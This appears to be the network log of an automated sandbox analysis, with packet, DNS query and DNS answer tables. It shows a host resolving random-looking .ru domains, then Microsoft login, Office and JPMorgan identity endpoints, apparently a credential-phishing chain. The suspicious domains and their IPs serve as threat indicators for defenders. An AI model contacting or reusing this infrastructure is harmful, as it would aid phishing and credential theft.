Jan 10, 2025 19:06:13.912334919 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:13.912354946 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:13.912365913 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:13.912399054 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:13.912488937 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:13.912512064 CET	49809	443	192.168.2.16	170.148.240.44
Jan 10, 2025 19:06:13.912575006 CET	49809	443	192.168.2.16	170.148.240.44
Jan 10, 2025 19:06:13.912908077 CET	49809	443	192.168.2.16	170.148.240.44
Jan 10, 2025 19:06:13.912925959 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:13.973958969 CET	443	49810	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.974067926 CET	443	49810	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.974214077 CET	49810	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.975189924 CET	49810	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.975240946 CET	443	49810	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:17.922703028 CET	49700	80	192.168.2.16	192.229.221.95
Jan 10, 2025 19:06:17.927987099 CET	80	49700	192.229.221.95	192.168.2.16
Jan 10, 2025 19:06:17.928036928 CET	49700	80	192.168.2.16	192.229.221.95
Jan 10, 2025 19:06:28.884500027 CET	49821	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:28.884505987 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:28.884548903 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:28.884556055 CET	443	49821	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:28.884645939 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:28.884650946 CET	49821	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:28.884865046 CET	49821	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:28.884881973 CET	443	49821	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:28.885030985 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:28.885060072 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.480247021 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.480663061 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.480679035 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.481064081 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.481393099 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.481466055 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.481554031 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.481575966 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.497330904 CET	443	49821	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.497704029 CET	49821	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.497718096 CET	443	49821	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.498080969 CET	443	49821	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.498400927 CET	49821	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.498486996 CET	443	49821	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.538719893 CET	49821	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.784730911 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.784755945 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.784897089 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.784909964 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.785017014 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.785023928 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.785034895 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.785094976 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.789490938 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.789771080 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.871500015 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.871632099 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.871642113 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.871758938 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.871809006 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.871818066 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.871854067 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.873044968 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.873058081 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.873157024 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.873378992 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.873465061 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.873507023 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.873507023 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.873513937 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.918744087 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.957942009 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.958035946 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.958151102 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.958151102 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.958309889 CET	49820	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.958326101 CET	443	49820	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:29.962215900 CET	49821	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:29.962315083 CET	443	49821	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:30.143253088 CET	443	49821	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:30.143374920 CET	443	49821	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:30.143439054 CET	49821	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:30.145114899 CET	49821	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:30.145133972 CET	443	49821	170.148.209.228	192.168.2.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:04:46.703080893 CET	53	59696	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:46.729711056 CET	52039	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:46.729896069 CET	49753	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:46.738312006 CET	53	49753	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:46.738660097 CET	53	52039	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:46.820122957 CET	53	51036	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:47.853151083 CET	53	53521	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:48.348097086 CET	60678	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:48.348376036 CET	50072	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:48.348830938 CET	52881	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:48.349008083 CET	54662	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:48.349507093 CET	64431	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:48.349507093 CET	61179	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:48.355129957 CET	53	50072	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:48.355452061 CET	53	60678	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:48.355740070 CET	53	54662	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:48.355824947 CET	53	52881	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:48.356096983 CET	53	61179	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:48.356359005 CET	53	64431	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:49.108876944 CET	52055	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:49.109041929 CET	54345	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:49.115711927 CET	53	52055	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:49.116348028 CET	53	54345	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:49.164135933 CET	64412	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:49.164345026 CET	61878	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:49.170954943 CET	53	61878	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:49.171034098 CET	53	64412	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:49.717169046 CET	50022	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:49.717334032 CET	57734	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:49.724361897 CET	53	50022	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:49.724423885 CET	53	57734	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:49.738955975 CET	58785	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:49.739260912 CET	60299	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:49.745857954 CET	53	60299	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:49.745892048 CET	53	58785	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:51.534995079 CET	51090	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:51.535176039 CET	53840	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:51.541933060 CET	53	53840	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:51.542604923 CET	53	51090	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:52.362695932 CET	56535	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:52.362879038 CET	58398	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:04:52.369734049 CET	53	58398	1.1.1.1	192.168.2.16
Jan 10, 2025 19:04:52.369752884 CET	53	56535	1.1.1.1	192.168.2.16
Jan 10, 2025 19:05:03.198930025 CET	51665	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:05:03.198930025 CET	62702	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:05:03.353337049 CET	53	51665	1.1.1.1	192.168.2.16
Jan 10, 2025 19:05:03.353354931 CET	53	62702	1.1.1.1	192.168.2.16
Jan 10, 2025 19:05:04.776002884 CET	53	62592	1.1.1.1	192.168.2.16
Jan 10, 2025 19:05:04.908133030 CET	58323	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:05:04.908524990 CET	57146	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:05:04.908675909 CET	61694	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:05:04.908859015 CET	49989	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:05:04.921987057 CET	53	57146	1.1.1.1	192.168.2.16
Jan 10, 2025 19:05:05.155700922 CET	53	58323	1.1.1.1	192.168.2.16
Jan 10, 2025 19:05:05.976979017 CET	55006	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:05:05.977140903 CET	64563	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:05:05.984714031 CET	53	64563	1.1.1.1	192.168.2.16
Jan 10, 2025 19:05:08.096057892 CET	63871	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:05:08.096509933 CET	55939	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:05:08.137882948 CET	53	55939	1.1.1.1	192.168.2.16
Jan 10, 2025 19:05:09.221631050 CET	59435	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:05:09.227602005 CET	60689	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:05:09.228367090 CET	53	59435	1.1.1.1	192.168.2.16
Jan 10, 2025 19:05:09.234565020 CET	53	60689	1.1.1.1	192.168.2.16
Jan 10, 2025 19:05:13.920418024 CET	53	58351	1.1.1.1	192.168.2.16
Jan 10, 2025 19:05:23.728703976 CET	53	64332	1.1.1.1	192.168.2.16
Jan 10, 2025 19:05:42.860981941 CET	138	138	192.168.2.16	192.168.2.255
Jan 10, 2025 19:05:46.595769882 CET	53	64469	1.1.1.1	192.168.2.16
Jan 10, 2025 19:05:46.709459066 CET	53	51001	1.1.1.1	192.168.2.16
Jan 10, 2025 19:05:52.365926981 CET	59307	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:05:52.366123915 CET	61511	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:06:05.526304960 CET	55079	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:06:05.526468992 CET	53558	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:06:08.617669106 CET	50593	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:06:08.618016005 CET	59790	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:06:08.842199087 CET	53	59790	1.1.1.1	192.168.2.16
Jan 10, 2025 19:06:08.919647932 CET	53	50593	1.1.1.1	192.168.2.16
Jan 10, 2025 19:06:11.289849043 CET	53	58240	1.1.1.1	192.168.2.16
Jan 10, 2025 19:06:12.275473118 CET	58914	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:06:12.275640011 CET	50271	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:06:12.488673925 CET	53	50271	1.1.1.1	192.168.2.16
Jan 10, 2025 19:06:12.667973042 CET	53	58914	1.1.1.1	192.168.2.16
Jan 10, 2025 19:06:16.415303946 CET	53	50069	1.1.1.1	192.168.2.16
Jan 10, 2025 19:06:16.907453060 CET	62752	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:06:16.907591105 CET	59306	53	192.168.2.16	1.1.1.1
Jan 10, 2025 19:06:16.948901892 CET	53	59306	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 10, 2025 19:05:08.138345957 CET	192.168.2.16	1.1.1.1	c277	(Port unreachable)	Destination Unreachable
Jan 10, 2025 19:06:16.948992968 CET	192.168.2.16	1.1.1.1	c277	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:04:46.729711056 CET	192.168.2.16	1.1.1.1	0x4f1d	Standard query (0)	pllu.gnoqwwhpwe.ru	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:46.729896069 CET	192.168.2.16	1.1.1.1	0xd46e	Standard query (0)	pllu.gnoqwwhpwe.ru	65	IN (0x0001)	false
Jan 10, 2025 19:04:48.348097086 CET	192.168.2.16	1.1.1.1	0x9088	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:48.348376036 CET	192.168.2.16	1.1.1.1	0x4c21	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 10, 2025 19:04:48.348830938 CET	192.168.2.16	1.1.1.1	0xa96f	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:48.349008083 CET	192.168.2.16	1.1.1.1	0x4ce0	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 19:04:48.349507093 CET	192.168.2.16	1.1.1.1	0xc8e2	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:48.349507093 CET	192.168.2.16	1.1.1.1	0x18fa	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 19:04:49.108876944 CET	192.168.2.16	1.1.1.1	0xa736	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:49.109041929 CET	192.168.2.16	1.1.1.1	0x6c48	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 10, 2025 19:04:49.164135933 CET	192.168.2.16	1.1.1.1	0x4ceb	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:49.164345026 CET	192.168.2.16	1.1.1.1	0x6766	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 19:04:49.717169046 CET	192.168.2.16	1.1.1.1	0x5210	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:49.717334032 CET	192.168.2.16	1.1.1.1	0x253b	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 19:04:49.738955975 CET	192.168.2.16	1.1.1.1	0xd7ea	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:49.739260912 CET	192.168.2.16	1.1.1.1	0x16d0	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 19:04:51.534995079 CET	192.168.2.16	1.1.1.1	0xf746	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:51.535176039 CET	192.168.2.16	1.1.1.1	0x8e1c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 10, 2025 19:04:52.362695932 CET	192.168.2.16	1.1.1.1	0x92cd	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:52.362879038 CET	192.168.2.16	1.1.1.1	0xb68f	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 19:05:03.198930025 CET	192.168.2.16	1.1.1.1	0xf74d	Standard query (0)	qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ru	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:05:03.198930025 CET	192.168.2.16	1.1.1.1	0x6d5c	Standard query (0)	qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ru	65	IN (0x0001)	false
Jan 10, 2025 19:05:04.908133030 CET	192.168.2.16	1.1.1.1	0xecae	Standard query (0)	qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ru	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:05:04.908524990 CET	192.168.2.16	1.1.1.1	0x8096	Standard query (0)	qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ru	65	IN (0x0001)	false
Jan 10, 2025 19:05:04.908675909 CET	192.168.2.16	1.1.1.1	0x5207	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:05:04.908859015 CET	192.168.2.16	1.1.1.1	0xea4b	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Jan 10, 2025 19:05:05.976979017 CET	192.168.2.16	1.1.1.1	0x3361	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:05:05.977140903 CET	192.168.2.16	1.1.1.1	0x7c8	Standard query (0)	www.office.com	65	IN (0x0001)	false
Jan 10, 2025 19:05:08.096057892 CET	192.168.2.16	1.1.1.1	0x5572	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:05:08.096509933 CET	192.168.2.16	1.1.1.1	0x2ab0	Standard query (0)	www.office.com	65	IN (0x0001)	false
Jan 10, 2025 19:05:09.221631050 CET	192.168.2.16	1.1.1.1	0x15dd	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:05:09.227602005 CET	192.168.2.16	1.1.1.1	0x4f07	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 10, 2025 19:05:52.365926981 CET	192.168.2.16	1.1.1.1	0xee28	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:05:52.366123915 CET	192.168.2.16	1.1.1.1	0x3697	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false
Jan 10, 2025 19:06:05.526304960 CET	192.168.2.16	1.1.1.1	0xb4ae	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:06:05.526468992 CET	192.168.2.16	1.1.1.1	0xe287	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Jan 10, 2025 19:06:08.617669106 CET	192.168.2.16	1.1.1.1	0x913	Standard query (0)	idag2.jpmorganchase.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:06:08.618016005 CET	192.168.2.16	1.1.1.1	0x79	Standard query (0)	idag2.jpmorganchase.com	65	IN (0x0001)	false
Jan 10, 2025 19:06:12.275473118 CET	192.168.2.16	1.1.1.1	0xc9ad	Standard query (0)	idag2.jpmorganchase.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:06:12.275640011 CET	192.168.2.16	1.1.1.1	0xc999	Standard query (0)	idag2.jpmorganchase.com	65	IN (0x0001)	false
Jan 10, 2025 19:06:16.907453060 CET	192.168.2.16	1.1.1.1	0x778d	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:06:16.907591105 CET	192.168.2.16	1.1.1.1	0x9134	Standard query (0)	www.office.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:04:46.738312006 CET	1.1.1.1	192.168.2.16	0xd46e	No error (0)	pllu.gnoqwwhpwe.ru			65	IN (0x0001)	false
Jan 10, 2025 19:04:46.738660097 CET	1.1.1.1	192.168.2.16	0x4f1d	No error (0)	pllu.gnoqwwhpwe.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:46.738660097 CET	1.1.1.1	192.168.2.16	0x4f1d	No error (0)	pllu.gnoqwwhpwe.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:48.355452061 CET	1.1.1.1	192.168.2.16	0x9088	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:48.355452061 CET	1.1.1.1	192.168.2.16	0x9088	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:48.355452061 CET	1.1.1.1	192.168.2.16	0x9088	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:48.355452061 CET	1.1.1.1	192.168.2.16	0x9088	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:48.355740070 CET	1.1.1.1	192.168.2.16	0x4ce0	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 10, 2025 19:04:48.355824947 CET	1.1.1.1	192.168.2.16	0xa96f	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:48.355824947 CET	1.1.1.1	192.168.2.16	0xa96f	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:48.356096983 CET	1.1.1.1	192.168.2.16	0x18fa	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 10, 2025 19:04:48.356359005 CET	1.1.1.1	192.168.2.16	0xc8e2	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:48.356359005 CET	1.1.1.1	192.168.2.16	0xc8e2	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:49.115711927 CET	1.1.1.1	192.168.2.16	0xa736	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:49.115711927 CET	1.1.1.1	192.168.2.16	0xa736	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:49.115711927 CET	1.1.1.1	192.168.2.16	0xa736	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:49.115711927 CET	1.1.1.1	192.168.2.16	0xa736	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:49.170954943 CET	1.1.1.1	192.168.2.16	0x6766	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 10, 2025 19:04:49.171034098 CET	1.1.1.1	192.168.2.16	0x4ceb	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:49.171034098 CET	1.1.1.1	192.168.2.16	0x4ceb	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:49.724361897 CET	1.1.1.1	192.168.2.16	0x5210	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:49.724361897 CET	1.1.1.1	192.168.2.16	0x5210	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:49.724423885 CET	1.1.1.1	192.168.2.16	0x253b	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 10, 2025 19:04:49.745857954 CET	1.1.1.1	192.168.2.16	0x16d0	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 10, 2025 19:04:49.745892048 CET	1.1.1.1	192.168.2.16	0xd7ea	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:49.745892048 CET	1.1.1.1	192.168.2.16	0xd7ea	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:51.541933060 CET	1.1.1.1	192.168.2.16	0x8e1c	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 10, 2025 19:04:51.542604923 CET	1.1.1.1	192.168.2.16	0xf746	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:04:52.369752884 CET	1.1.1.1	192.168.2.16	0x92cd	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:05:03.353337049 CET	1.1.1.1	192.168.2.16	0xf74d	No error (0)	qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ru		172.67.155.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:05:03.353337049 CET	1.1.1.1	192.168.2.16	0xf74d	No error (0)	qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ru		104.21.6.222	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:05:03.353354931 CET	1.1.1.1	192.168.2.16	0x6d5c	No error (0)	qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ru			65	IN (0x0001)	false
Jan 10, 2025 19:05:04.915452957 CET	1.1.1.1	192.168.2.16	0xea4b	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:05:04.915618896 CET	1.1.1.1	192.168.2.16	0x5207	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:05:04.921987057 CET	1.1.1.1	192.168.2.16	0x8096	No error (0)	qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ru			65	IN (0x0001)	false
Jan 10, 2025 19:05:05.155700922 CET	1.1.1.1	192.168.2.16	0xecae	No error (0)	qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ru		172.67.155.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:05:05.155700922 CET	1.1.1.1	192.168.2.16	0xecae	No error (0)	qxe5brporq8ywqvx5ehzo1mroopbemcjxuzitlhd8skvipppqjbcvem.concivergo.ru		104.21.6.222	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:05:05.984714031 CET	1.1.1.1	192.168.2.16	0x7c8	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:05:05.984714031 CET	1.1.1.1	192.168.2.16	0x7c8	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:05:05.985069036 CET	1.1.1.1	192.168.2.16	0x3361	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:05:05.985069036 CET	1.1.1.1	192.168.2.16	0x3361	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
